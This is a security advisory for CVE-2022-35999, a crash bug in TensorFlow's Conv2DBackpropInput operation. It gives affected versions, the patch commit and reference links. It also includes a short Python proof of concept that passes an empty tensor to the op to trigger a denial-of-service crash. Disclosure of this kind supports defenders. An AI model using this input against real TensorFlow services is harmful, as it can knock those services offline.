CVE-2022-35999
TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`
Impact
### Impact When `Conv2DBackpropInput` receives empty `out_backprop` inputs (e.g. `[3, 1, 0, 1]`), the current CPU/GPU kernels `CHECK` fail (one with dnnl, the other with cudnn). This can be used to trigger a denial of service attack. ```python import tensorflow as tf import numpy as np input_sizes = [3, 1, 1, 2] filter = np.ones([1, 3, 2, 3]) out_backprop = np.ones([3, 1, 0, 3]) strides = [1, 1, 2, 1] padding = 'VALID' tf.raw_ops.Conv2DBackpropInput( input_sizes = input_sizes, filter = filter, out_backprop = out_backprop, strides = strides, padding = padding ) ``` ### Patches We have patched the issue in GitHub commit [27a65a43cf763897fecfa5cdb5cc653fc5dd0346](https://github.com/tensorflow/tensorflow/commit/27a65a43cf763897fecfa5cdb5cc653fc5dd0346). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Jingyi Shi.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| pip | tensorflow | < 2.7.2 | 2.7.2 |
| pip | tensorflow-cpu | < 2.7.2 | 2.7.2 |
| pip | tensorflow-gpu | < 2.7.2 | 2.7.2 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Tensorflow | before 2.7.2 from 2.8.0 before 2.8.1 from 2.9.0 before 2.9.1 Version 2.10 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/tensorflow/tensorflow/commit/27a65a43cf763897fecfa5cdb5cc653fc5dd0346
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-37jf-mjv6-xfqw
- https://github.com/advisories/GHSA-37jf-mjv6-xfqw
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://nvd.nist.gov/vuln/detail/CVE-2022-35999